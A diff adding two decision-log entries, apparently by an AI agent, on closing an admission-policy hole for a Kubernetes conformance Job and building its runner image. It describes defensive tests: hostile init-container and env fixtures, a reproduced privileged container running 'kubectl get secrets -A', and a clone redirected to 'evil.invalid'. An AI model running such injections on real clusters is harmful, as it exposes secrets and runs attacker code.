| resource | creat | vols | args | init | ephem | envnm | envfr |
|
||||||
|
|---|---|---|---|---|---|---|---|
|
||||||
|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
|
||||||
|
| `good-run` | pass | pass | pass | — | pass | — | pass |
|
||||||
|
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
|
||||||
|
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
|
||||||
|
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
|
||||||
|
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
|
||||||
|
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
|
||||||
|
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
|
||||||
|
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||||
|
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
|
||||||
|
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
|
||||||
|
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
|
||||||
|
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
|
||||||
|
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
|
||||||
|
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
|
||||||
|
|
||||||
|
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
|
||||||
|
init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
|
||||||
|
column, and it is why the fixtures are worth more than the rules' prose.
|
||||||
|
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
|
||||||
|
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
|
||||||
|
That is why env had to be its own rule and not a condition bolted onto the init rule.
|
||||||
|
|
||||||
|
The rendered template is now a fixture (`real-template` in
|
||||||
|
`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
|
||||||
|
admission fails `make -C ci l0` instead of failing at 2am.
|
||||||
|
|
||||||
|
### How strong that evidence is — the `kyverno test` load trap
|
||||||
|
|
||||||
|
`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
|
||||||
|
prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
|
||||||
|
Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
|
||||||
|
separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
|
||||||
|
`Test Summary: 9 tests passed and 0 tests failed`.
|
||||||
|
|
||||||
|
So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
|
||||||
|
`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
|
||||||
|
alone — or the green `l0` line in the gate below — would **not** on its own establish that these
|
||||||
|
rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
|
||||||
|
`error: 0, skip: 0` in the numbers above, not the exit code.
|
||||||
|
|
||||||
|
Two further limits on what a CLI pass proves:
|
||||||
|
|
||||||
|
- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
|
||||||
|
fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
|
||||||
|
filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
|
||||||
|
that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
|
||||||
|
`kyverno apply`.
|
||||||
|
- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
|
||||||
|
admission in the cluster.
|
||||||
|
|
||||||
|
### Two Kyverno traps, both of which silently invert the result
|
||||||
|
|
||||||
|
Both are now commented in the rules:
|
||||||
|
|
||||||
|
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
|
||||||
|
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
|
||||||
|
`false` into `true` and denies every good Job.
|
||||||
|
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
|
||||||
|
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
|
||||||
|
`["/bin/sh","-c",…]` through on element 0.
|
||||||
|
|
||||||
|
### The results envelope
|
||||||
|
|
||||||
|
**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
|
||||||
|
head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
|
||||||
|
check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit `exit 3`, and a
|
||||||
|
`set -e` abort — the envelope's `rc=` matched the process rc in all three. **The envelope is
|
||||||
|
verified; its transport over `kubectl logs` from a real Pod is not.**
|
||||||
|
|
||||||
|
### Gate
|
||||||
|
|
||||||
|
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's
|
||||||
|
`.git`, per CLAUDE.md §3):
|
||||||
|
|
||||||
|
diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
|
||||||
|
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
|
||||||
|
spec-immutability: green
|
||||||
|
decisions-log: green (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
|
||||||
|
2 entries well-formed — this one included)
|
||||||
|
lint: green (404 files)
|
||||||
|
l0: green (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
|
||||||
|
0 failures, 0 skips, 0 unwired)
|
||||||
|
render-golden: green (10 onboarded service goldens reproduce)
|
||||||
|
l1: green (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
|
||||||
|
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
|
||||||
|
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
|
||||||
|
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
|
||||||
|
Stages that did not run: gitea-settings
|
||||||
|
rc 3
|
||||||
|
|
||||||
|
Nothing FAILED. **rc 3 is UNDETERMINED, not green** — `gitea-settings` did not run, so this run
|
||||||
|
says nothing about Gitea's branch protection or runner registration, and the seven touched
|
||||||
|
requirements above are explicitly *not certified* at L2/L3. `gate.yml` tolerates rc 3, which is
|
||||||
|
itself a fail-open surface recorded elsewhere. The branch was rebased onto `main` at `c59fe9f`, i.e. **after** PR #24
|
||||||
|
merged, so `ci/decisions-log.sh` is in the base and did run: it reports the archive frozen
|
||||||
|
(`DECISIONS-LOG.md` sha256 matches `decisions/ARCHIVE.sha256`) and both `decisions/` entries
|
||||||
|
well-formed. This entry's format is therefore checked by the stage that enforces it, not only by
|
||||||
|
eye — though that stage checks *structure*, never whether any claim inside it is true.
|
||||||
|
|
||||||
|
### The `approval-policy` check this PR was expected to fail does not exist
|
||||||
|
|
||||||
|
I was briefed to expect CI to FAIL on an `approval-policy` check because `conformance/**` is
|
||||||
|
security-relevant. **That check does not exist.** Measured rather than assumed:
|
||||||
|
|
||||||
|
grep -rn approval .gitea/workflows/ -> no match
|
||||||
|
GET /repos/.../branches/main
|
||||||
|
protected True
|
||||||
|
user_can_push False
|
||||||
|
enable_status_check True
|
||||||
|
status_check_contexts ['gate / gate (pull_request)']
|
||||||
|
required_approvals 1
|
||||||
|
GET /repos/.../commits/<head>/statuses
|
||||||
|
success gate / gate (pull_request) Successful in 1m36s
|
||||||
|
pending gate / conformance (pull_request) Blocked by required conditions
|
||||||
|
|
||||||
|
The **only** required context is `gate / gate`, and it was GREEN at 1m36s — it genuinely ran, so
|
||||||
|
that particular green is not the skipped-Gitea-job-reports-success trap. There is **no path-based
|
||||||
|
approval policy in CI anywhere in this repo.** What actually stops this merging is
|
||||||
|
`required_approvals: 1` plus the fact that `gitea-admin` authors every agent PR and cannot
|
||||||
|
self-approve — the same control that returned HTTP 405 on PR #12. `gate / conformance` is "Blocked
|
||||||
|
by required conditions", i.e. the `CLUSTER_AVAILABLE` guard, unchanged.
|
||||||
|
|
||||||
|
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
|
||||||
|
admission boundary itself — is gated by a *generic* human approval, not by anything that knows the
|
||||||
|
path is security-relevant. If the intent is "security-relevant paths get a stricter review", that
|
||||||
|
policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review or a
|
||||||
|
`paths:`-scoped required check would be the mechanism; neither exists today.
|
||||||
|
|
||||||
|
The PR was **not merged** and nothing was worked around.
|
||||||
|
|
||||||
|
### Process note, worth more than the policy fix
|
||||||
|
|
||||||
|
Both halves of the security finding came from **probing rather than reading**. The hole was not
|
||||||
|
visible in the policy's prose — which is careful, accurate about what it *does* constrain, and
|
||||||
|
explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A
|
||||||
|
policy is only as trustworthy as its negative fixtures.
|
||||||
|
|
||||||
|
### Addendum — rebased onto `main` after #18 landed (2026-09-29)
|
||||||
|
|
||||||
|
This branch originally appended its handoff to `DECISIONS-LOG.md`, which is why it was
|
||||||
|
`mergeable: false`: every branch appended to that file's same last hunk. The append is now this
|
||||||
|
file (see `decisions/README.md`).
|
||||||
|
|
||||||
|
The rebase onto post-#18 `main` hit one real content conflict — `conformance/incluster/README.md`,
|
||||||
|
where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's
|
||||||
|
`Containerfile` / `conformance-clone` / `build-image.sh` bullets and this branch's
|
||||||
|
`chainsaw-job.yaml` bullet, since this branch is what makes the Job a rendered run template.
|
||||||
|
|
||||||
|
One of #18's paragraphs had to be **rewritten rather than kept**: its `conformance-clone` bullet
|
||||||
|
carried a blockquote saying *"This file is half a fix … a 4th policy rule demanding `command:
|
||||||
|
["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* That rule **is**
|
||||||
|
in this branch — `trigger-initcontainers-must-be-the-committed-clone-step`, plus the
|
||||||
|
`ephemeralContainers` and `env`/`envFrom` rules beside it. Leaving #18's wording would have left
|
||||||
|
`main` documenting an open hole that had just been closed, which is the same
|
||||||
|
documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the
|
||||||
|
rebase: every file but that README is byte-identical to the pre-rebase tip.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
- **Nothing here has ever executed against a cluster.** The `conformance-runner` image does not
|
||||||
|
exist (plan §3 item 1), so the Job cannot be submitted, and the init container's
|
||||||
|
clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` path are
|
||||||
|
all **unexercised**. The envelope itself is verified; its transport is not.
|
||||||
|
- **PR #18 has since merged** (`cac5c9f`), so `/usr/local/bin/conformance-clone` and the image are
|
||||||
|
now on `main` and this branch was rebased onto them. What that changes is only *availability*:
|
||||||
|
if the path were missing or named differently the init container would fail to start, and if the
|
||||||
|
image is not the pinned digest admission denies the Job. **Neither has been exercised** — no
|
||||||
|
image has been built or pushed, so the digest this branch pins still resolves to nothing.
|
||||||
|
- **Secret `conformance-git-readonly` does not exist** (plan §3 item 6, operator action). Only its
|
||||||
|
name is referenced here.
|
||||||
|
- **`uid 65532`** is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it has
|
||||||
|
not been built. If the Containerfile picks a different uid, the Job will not start.
|
||||||
|
- **Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not tested;**
|
||||||
|
the shallow-clone-then-fetch fallback assumes it does. If it does not, the `HEAD == SHA`
|
||||||
|
assertion turns that into a loud failure rather than a wrong-tree run.
|
||||||
|
- **Whether the API server accepts `ephemeralContainers` inside a Job's pod template at all.**
|
||||||
|
Upstream the field is settable only through the `pods/ephemeralcontainers` subresource and
|
||||||
|
`ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to a pod
|
||||||
|
*template* nested in a Job, and I found no definitive answer. Establishing it needs a
|
||||||
|
`create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator —
|
||||||
|
so I did not run one. **The rule was added anyway:** it is a no-op if upstream already rejects the
|
||||||
|
field, and it is the same hole again if it does not. "Probably rejected upstream" is not a
|
||||||
|
boundary. If someone with cluster-write access wants to settle it, that is a one-command check;
|
||||||
|
the rule should stay either way.
|
||||||
|
- **The `subjects` filter on these rules is unproven.** `kyverno apply` evaluates the patterns with
|
||||||
|
or without `--userinfo`, so nothing above establishes that the rules actually *match* only the
|
||||||
|
trigger identity in a live admission request.
|
||||||
|
- **Admission was never exercised by a real API server** — only by `kyverno apply` against
|
||||||
|
manifests. A policy that a CLI accepts can still behave differently once installed.
|
||||||
|
- **`env` *values* and the `valueFrom` source Secret are unconstrained by design**, so the hardening
|
||||||
|
there is deliberately partial, not complete.
|
||||||
|
- **The env allowlists are derived from what the two programs read TODAY.** If `run.sh` or the clone
|
||||||
|
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
|
||||||
|
reviewed change. That is the intended failure direction, but it is a coupling the next person
|
||||||
|
editing either script needs to know about, so it is called out in the rule's message.
|
||||||
|
- **`ci/conformance.sh` still runs the suite locally and is untouched** (plan §3 item 4). This
|
||||||
|
branch changes nothing about what CI does today.
|
||||||
|
- **The gate run was rc 3, UNDETERMINED — not green.** `gitea-settings` did not run. The L2/L3
|
||||||
|
conformance stages did not run (`CLUSTER_AVAILABLE` unset), so nothing here is evidence about
|
||||||
|
runtime behaviour.
|
||||||
|
- **`ci/decisions-log.sh` passing says nothing about this entry's accuracy.** It asserts the
|
||||||
|
frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub
|
||||||
|
sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.
|
||||||
@@ -0,0 +1,258 @@
|
|||||||
|
---
|
||||||
|
date: 2026-09-29
|
||||||
|
branch: feat/conformance-runner-image
|
||||||
|
title: The in-cluster conformance Job could never have run; built the image it needs (PR #18)
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 item 1. PR
|
||||||
|
[#18](https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl/pulls/18). **Not
|
||||||
|
merged** — an agent cannot, and should not.
|
||||||
|
|
||||||
|
### The defect, stated plainly
|
||||||
|
|
||||||
|
`conformance/incluster/chainsaw-job.yaml` pinned `ghcr.io/kyverno/chainsaw:v0.2.12` **and**
|
||||||
|
`command: ["./run.sh"]`. Both lines could not be true. That image carries the chainsaw binary
|
||||||
|
and essentially nothing else — no `bash`, no `python3`, no `kubectl`, no `git`. The Job would
|
||||||
|
have failed at exec of `./run.sh` before a single test ran, and the only place that would have
|
||||||
|
surfaced is a pod log nobody was reading. This is the same failure shape as the entries around
|
||||||
|
it in the archive: a manifest that *described* a working mechanism, with nothing measuring
|
||||||
|
whether the mechanism existed.
|
||||||
|
|
||||||
|
### What landed
|
||||||
|
|
||||||
|
- `conformance/incluster/Containerfile` — the `conformance-runner` image: bash + python3 +
|
||||||
|
chainsaw + kubectl + `git-core` + tar/gzip/coreutils/diffutils. Two-stage (a full Fedora
|
||||||
|
fetches the binaries and verifies kubectl's published `sha256`; the runtime layer is
|
||||||
|
`fedora-minimal` and carries no downloader).
|
||||||
|
- `conformance/incluster/build-image.sh` — builds, **proves the toolchain by executing it**,
|
||||||
|
prints the digest, and **never pushes**.
|
||||||
|
- `conformance/incluster/conformance-clone` — the baked init-container clone helper (see the
|
||||||
|
addendum below).
|
||||||
|
- `conformance/versions.env` — `CONFORMANCE_RUNNER_IMAGE`, digest **empty** pending the push.
|
||||||
|
- `conformance/incluster/README.md` — documents all of it, and flags the Job manifest's stale
|
||||||
|
`image:`.
|
||||||
|
|
||||||
|
`infra/devcontainer/versions.env` stays the single source of truth. `build-image.sh` sources it
|
||||||
|
and injects `CHAINSAW_VERSION` / `KUBECTL_VERSION` / `FEDORA_VERSION` as `--build-arg`; the
|
||||||
|
Containerfile's `ARG` defaults are **empty** and asserted in its first `RUN`, so a build that
|
||||||
|
forgets a pin fails loudly rather than baking a stale version. No new pin was invented.
|
||||||
|
|
||||||
|
Two things the admission boundary forced, both of which would otherwise have been discovered
|
||||||
|
at first run: `USER` must be **numeric** (`runAsNonRoot` with no `runAsUser` makes the kubelet
|
||||||
|
reject a named user), and every writable path must live under `/workspace` (the pod is
|
||||||
|
`readOnlyRootFilesystem` and the policy admits no third volume, so there is no `/tmp`). git's
|
||||||
|
`safe.directory` is therefore written to `/etc/gitconfig` at build time.
|
||||||
|
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` was **not modified**.
|
||||||
|
|
||||||
|
### The chainsaw supply-chain gap, stated accurately
|
||||||
|
|
||||||
|
The Containerfile originally said chainsaw "publishes no per-asset checksum file at a stable
|
||||||
|
URL". Literally true, and misleading: it reads as "no integrity option exists". The release
|
||||||
|
assets say otherwise — v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside
|
||||||
|
each tarball. So verification IS available; it needs cosign in the builder stage and the right
|
||||||
|
keyless identity for kyverno's release workflow. The comment now says what is true: kubectl is
|
||||||
|
sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO.
|
||||||
|
Deliberately **not** implemented here — picking a trusted signer identity is a supply-chain
|
||||||
|
decision that belongs in its own reviewed change. `infra/devcontainer/Containerfile` has the
|
||||||
|
same gap for the same binary.
|
||||||
|
|
||||||
|
### Addendum — `/usr/local/bin/conformance-clone`
|
||||||
|
|
||||||
|
Added at the coordinator's request, to close half of the admission gap a sibling agent found:
|
||||||
|
the policy pins the MAIN container's `command` but **never reads `initContainers`**, so a Job
|
||||||
|
from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an
|
||||||
|
arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's
|
||||||
|
author (`pass: 3, fail: 0` on a privileged `alpine:latest` init container running
|
||||||
|
`kubectl get secrets -A`).
|
||||||
|
|
||||||
|
The image now bakes `/usr/local/bin/conformance-clone`, **0755 root:root**, so uid 65532 cannot
|
||||||
|
replace the one executable the policy will come to trust. Clone logic taken from PR #20's
|
||||||
|
`clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match
|
||||||
|
`^[0-9a-f]{40}$`, and `rev-parse HEAD` is asserted equal to it after checkout. No arguments are
|
||||||
|
accepted.
|
||||||
|
|
||||||
|
**A DEVIATION FROM THE BRIEF, DELIBERATE — the repo URL and clone target are COMPILED IN, not
|
||||||
|
taken from the environment.** The brief said to take SHA, repo URL and target dir from the
|
||||||
|
environment. The policy contains no `env`, `valueFrom` or `secretKeyRef` clause at all, so a
|
||||||
|
script that trusted `CONFORMANCE_REPO_URL` would have moved the injection one field over — the
|
||||||
|
trigger points it at a repo it controls, `conformance-clone` fetches that, and `./run.sh` from
|
||||||
|
the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env
|
||||||
|
vars are still read so the Job template stays self-documenting, but a value that disagrees with
|
||||||
|
the baked literal is a hard failure, never a redirect. The only genuinely trusted per-run input
|
||||||
|
is the SHA.
|
||||||
|
|
||||||
|
**This file is half a fix and must not be mistaken for the whole one.** What makes the fixed
|
||||||
|
path *required* rather than merely *available* is a 4th policy rule demanding
|
||||||
|
`command: ["/usr/local/bin/conformance-clone"]` with no `args` on every initContainer. That
|
||||||
|
rule edits the security boundary and belongs in its own reviewed PR — it is **not** in this
|
||||||
|
branch. Until it lands, the hole is open.
|
||||||
|
|
||||||
|
The anonymous-clone fallback is deliberate and announced in the script's log line: read access
|
||||||
|
to this repo needs no credential today, the integrity guarantee here is the SHA assertion
|
||||||
|
rather than the credential, and requiring the Secret would have made the script untestable
|
||||||
|
without one.
|
||||||
|
|
||||||
|
### A REAL CONSTRAINT THE PLAN DOES NOT ACCOUNT FOR — read before wiring T-6.1b
|
||||||
|
|
||||||
|
`run.sh` runs the selected **offline L0/L1 checks** before it touches the cluster, for **any**
|
||||||
|
selection that is not offline-only. Those checks shell out to `flux`, `promtool`, `kyverno` and
|
||||||
|
`kustomize`. This image deliberately omits them — baking the whole devcontainer toolchain into
|
||||||
|
the runner would roughly double its size to re-run work `ci/l0.sh` and `ci/l1.sh` already did
|
||||||
|
offline in the same CI run.
|
||||||
|
|
||||||
|
So **the plan's own invocation shapes do not work on this image.** `--layer all
|
||||||
|
--strict-coverage` (the documented phase-exit shape) and a bare `--requirements <IDs>` (the
|
||||||
|
documented merge-gate shape) both drag the L0 checks in and will fail on a missing tool. The Job
|
||||||
|
must use `--layer l2` / `--layer l3`, which is verified below to resolve the offline selection
|
||||||
|
to nothing.
|
||||||
|
|
||||||
|
**This is a decision for the plan owner, not a detail:** either the Job selects cluster-gated
|
||||||
|
layers only, or the runner grows the full L0 toolchain, or `run.sh` learns to skip offline
|
||||||
|
checks when their tools are absent (which would be a fail-open and is the wrong answer). It is
|
||||||
|
documented in the Containerfile header and the incluster README so it cannot be rediscovered
|
||||||
|
from a pod log.
|
||||||
|
|
||||||
|
### Follow-ups this creates
|
||||||
|
|
||||||
|
1. **Operator:** `podman login` + `podman push --digestfile`, then a PR setting
|
||||||
|
`CONFORMANCE_RUNNER_IMAGE_DIGEST` from the digestfile — the digest the *registry* returned,
|
||||||
|
not the local manifest digest the build printed.
|
||||||
|
2. **Then tighten the boundary**, as that policy's own header asks: replace its `@sha256:*`
|
||||||
|
wildcard with the literal digest, closing the residual "anyone who can push to this path"
|
||||||
|
gap. Separate, human-reviewed PR — it edits the security boundary.
|
||||||
|
3. **T-6.1b:** decide the Job's `args` per the constraint above, and stop `chainsaw-job.yaml`
|
||||||
|
carrying an image reference that admission would deny.
|
||||||
|
4. **The 4th policy rule** pinning every initContainer's `command` to `conformance-clone`.
|
||||||
|
Without it, `conformance-clone` is available but not required, and the injection hole is
|
||||||
|
still open.
|
||||||
|
|
||||||
|
### Rework note — why this entry is a file and not an append
|
||||||
|
|
||||||
|
This branch originally carried its handoff as a ~236-line append to the tail of
|
||||||
|
`DECISIONS-LOG.md`. That append was the **only** conflicting path between this PR and `main`,
|
||||||
|
and it made PR #18 `mergeable: false`. The append has been dropped from the branch entirely and
|
||||||
|
its substance moved here verbatim in meaning; the branch now touches no file outside
|
||||||
|
`conformance/`. Nothing about what the code claims to have proven was changed by that move.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
### The image, by running it — not by a green build
|
||||||
|
|
||||||
|
As uid 65532 with `--read-only`: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4
|
||||||
|
(client), chainsaw 0.2.12; `/` confirmed read-only, `/workspace` writable, uid confirmed
|
||||||
|
non-zero. Then the real entrypoint in the same shape against the worktree: `./run.sh --lint`,
|
||||||
|
`--coverage-only`, and `--layer l2 --no-cluster` all **rc 0**, emitting `coverage.md`,
|
||||||
|
`coverage.json` and `report.junit.xml`. 408 MiB. Rebuilt after the chainsaw-comment edit; the
|
||||||
|
in-image verification still passed.
|
||||||
|
|
||||||
|
### The init-container clone path, end to end
|
||||||
|
|
||||||
|
From inside the image, as uid 65532, `python3` completes a verifying TLS handshake to
|
||||||
|
`gitea.home.keithjackson.dev` against the stock `ca-certificates` (issuer `Let's Encrypt / YR2`,
|
||||||
|
notAfter `Dec 12 02:16:57 2026 GMT`), and `git ls-remote https://…/home-network-k3s-impl.git
|
||||||
|
HEAD` returns `20ea70d` with **no credential**. So no internal CA bundle is needed, and
|
||||||
|
anonymous read is currently open — the plan's read-only deploy token buys authorisation
|
||||||
|
hygiene, not reachability.
|
||||||
|
|
||||||
|
`/usr/local/bin/conformance-clone` measured in the image as uid 65532 with `--read-only`:
|
||||||
|
`root:root 755`, confirmed **not writable** by uid 65532. Seven negative cases, each asserted to
|
||||||
|
exit non-zero (not merely to print something): arguments rejected; missing SHA; a branch name
|
||||||
|
instead of a SHA; an unrendered `@@CONFORMANCE_GIT_SHA@@`; `HOME` off the workspace volume; a
|
||||||
|
**redirected** `CONFORMANCE_REPO_URL=https://evil.invalid/x.git`; a `CONFORMANCE_SRC` off the
|
||||||
|
workspace volume. And the positive case: a real anonymous clone of this repo at a real 40-hex
|
||||||
|
SHA, with `rev-parse HEAD` proven equal to the requested SHA.
|
||||||
|
|
||||||
|
Two bugs of my own that only running it could have found, both fixed: the workspace-path guard
|
||||||
|
matched `/workspace/*` and so **rejected the image's own `HOME=/workspace`**; and the negative
|
||||||
|
checks were written as pipelines, which under `pipefail` aborted the verify at the first
|
||||||
|
expected failure and silently skipped the remaining six. A verify that stops early looks
|
||||||
|
identical to a verify that passed.
|
||||||
|
|
||||||
|
### There is no `approval-policy` CI stage, and `conformance/**` is not a protected path
|
||||||
|
|
||||||
|
My brief told me to expect this PR's CI to fail on an `approval-policy` stage because
|
||||||
|
`conformance/**` is a security-relevant path requiring human approval. **I repeated that before
|
||||||
|
checking it. It is not true:**
|
||||||
|
|
||||||
|
| Claim | Measured |
|
||||||
|
|---|---|
|
||||||
|
| an `approval-policy` CI stage exists | **No.** `grep -rn 'approval-policy\|approval_policy' .gitea/ ci/` → nothing. `.gitea/workflows/gate.yml` has jobs `gate` and `conformance`; `merge-gate.yaml` has `spec-immutability, lint, l0, render-golden, l1, conformance, merge-gate`. No approval job in either. |
|
||||||
|
| `conformance/**` is a protected path | **No.** `GET /branch_protections` → `protected_file_patterns: ''`. No path-based rule of any kind, and no `CODEOWNERS` file in the repo. |
|
||||||
|
| required status checks | `status_check_contexts: ['gate / gate (pull_request)']` — one context, and it is not an approval stage. |
|
||||||
|
|
||||||
|
What actually blocks this PR is `required_approvals: 1` with `block_admin_merge_override: true`,
|
||||||
|
and `gitea-admin` authors every agent PR and cannot self-approve. That is a **merge** block, not
|
||||||
|
a CI failure — the distinction matters, because "expect a red X" and "expect a green run that an
|
||||||
|
agent still cannot merge" send a reviewer to different places. Left in as a correction rather
|
||||||
|
than quietly deleted.
|
||||||
|
|
||||||
|
### What PR #18's CI actually did, read out of the job log
|
||||||
|
|
||||||
|
Read from `/Home-Network/home-network-k3s-impl/actions/runs/128/jobs/0/logs`, not off the tick,
|
||||||
|
because a skipped Gitea job reports `success`:
|
||||||
|
|
||||||
|
[skip] stage spec-immutability: SKIPPED (not run)
|
||||||
|
[ ok ] stage lint: pass
|
||||||
|
[ ok ] stage l0: pass
|
||||||
|
[ ok ] stage render-golden: pass
|
||||||
|
[ ok ] stage l1: pass
|
||||||
|
[ ok ] stage gitea-settings: pass
|
||||||
|
[skip] stage conformance: SKIPPED (not run)
|
||||||
|
[fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
|
||||||
|
|
||||||
|
`gate / gate (pull_request)` = **success in 1m36s**, and that success means **rc 3, tolerated**
|
||||||
|
by `./ci/gate.sh || [ "$?" -eq 3 ]` — not rc 0. `gitea-settings` ran and passed in CI with
|
||||||
|
`REQUIRE_GITEA_SETTINGS=true`, so CI is *more* complete there than the local toolbox run, where
|
||||||
|
that stage can only skip. That measurement predates this rework's force-push; CI has not been
|
||||||
|
re-read since.
|
||||||
|
|
||||||
|
### The gate, on the reworked branch, today
|
||||||
|
|
||||||
|
ENGINE=<worktree shim> DEV_KUBECONFIG=/dev/null ./infra/devcontainer/dev.sh run bash -c './ci/gate.sh'
|
||||||
|
→ rc 3, MERGE GATE: UNDETERMINED. Nothing FAILED.
|
||||||
|
|
||||||
|
[ ok ] spec-immutability [ ok ] decisions-log [ ok ] lint
|
||||||
|
[ ok ] l0 [ ok ] render-golden [ ok ] l1
|
||||||
|
[skip] gitea-settings (SETTINGS_API_TOKEN not set — unwired repo-wide)
|
||||||
|
[skip] conformance (CLUSTER_AVAILABLE != true) — L2/L3 UNVERIFIED
|
||||||
|
Stages that did not run: gitea-settings
|
||||||
|
|
||||||
|
`decisions-log` is the stage PR #24 added; it ran against this branch and passed — "archive
|
||||||
|
frozen, 2 entries well-formed" — so this file's shape is machine-checked, not eyeballed.
|
||||||
|
Diff base `origin/main @ c59fe9f923c4` (this branch was rebased onto main after #24 merged).
|
||||||
|
Touched requirements resolved to
|
||||||
|
`R-SEC-02 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04`; all five remain **L2/L3-UNVERIFIED**. This
|
||||||
|
is **not** a green run and is not offered as one.
|
||||||
|
|
||||||
|
### The rework itself
|
||||||
|
|
||||||
|
`git diff origin/main...HEAD --name-only` lists only the five `conformance/` paths plus this
|
||||||
|
file — `DECISIONS-LOG.md` is gone from the branch. `git diff pr18-orig HEAD -- conformance/`
|
||||||
|
is empty, so the code is byte-identical to the pre-rework tip, file modes included
|
||||||
|
(`build-image.sh` and `conformance-clone` both `100755`).
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
- **The image has never run in the cluster.** Everything above is local podman. Admission has
|
||||||
|
not been exercised against it, because there is no digest to reference yet.
|
||||||
|
- **The image is not pushed anywhere**, so `CONFORMANCE_RUNNER_IMAGE_DIGEST` is empty. Empty on
|
||||||
|
purpose: it fails visibly in whatever renders the Job, whereas a guessed digest would look
|
||||||
|
like an `ImagePullBackOff` cluster fault. Pushing needs a registry credential and is an
|
||||||
|
operator action — `build-image.sh` prints the exact commands.
|
||||||
|
- **The image was not rebuilt during this rework.** Moving where the handoff lives must not
|
||||||
|
change what the branch claims to have proven, so no build was run; the image measurements
|
||||||
|
above are the ones taken when the code was written, against this same code.
|
||||||
|
- **chainsaw's cosign signatures are not verified** by this image. Only kubectl's `sha256` is.
|
||||||
|
The cosign path is named as a TODO, not implemented.
|
||||||
|
- **The 4th policy rule does not exist**, so `conformance-clone` is available but not required.
|
||||||
|
The initContainer injection hole is open until that separate PR lands.
|
||||||
|
- **L2/L3 still do not run in CI** (`vars.CLUSTER_AVAILABLE` unset). This image is a
|
||||||
|
prerequisite for closing that hole, not the closure. R-SEC-02 and R-TEST-01..04 are untested
|
||||||
|
at L2/L3.
|
||||||
|
- **`gitea-settings` skipped in my local gate run**, so branch protection and runner
|
||||||
|
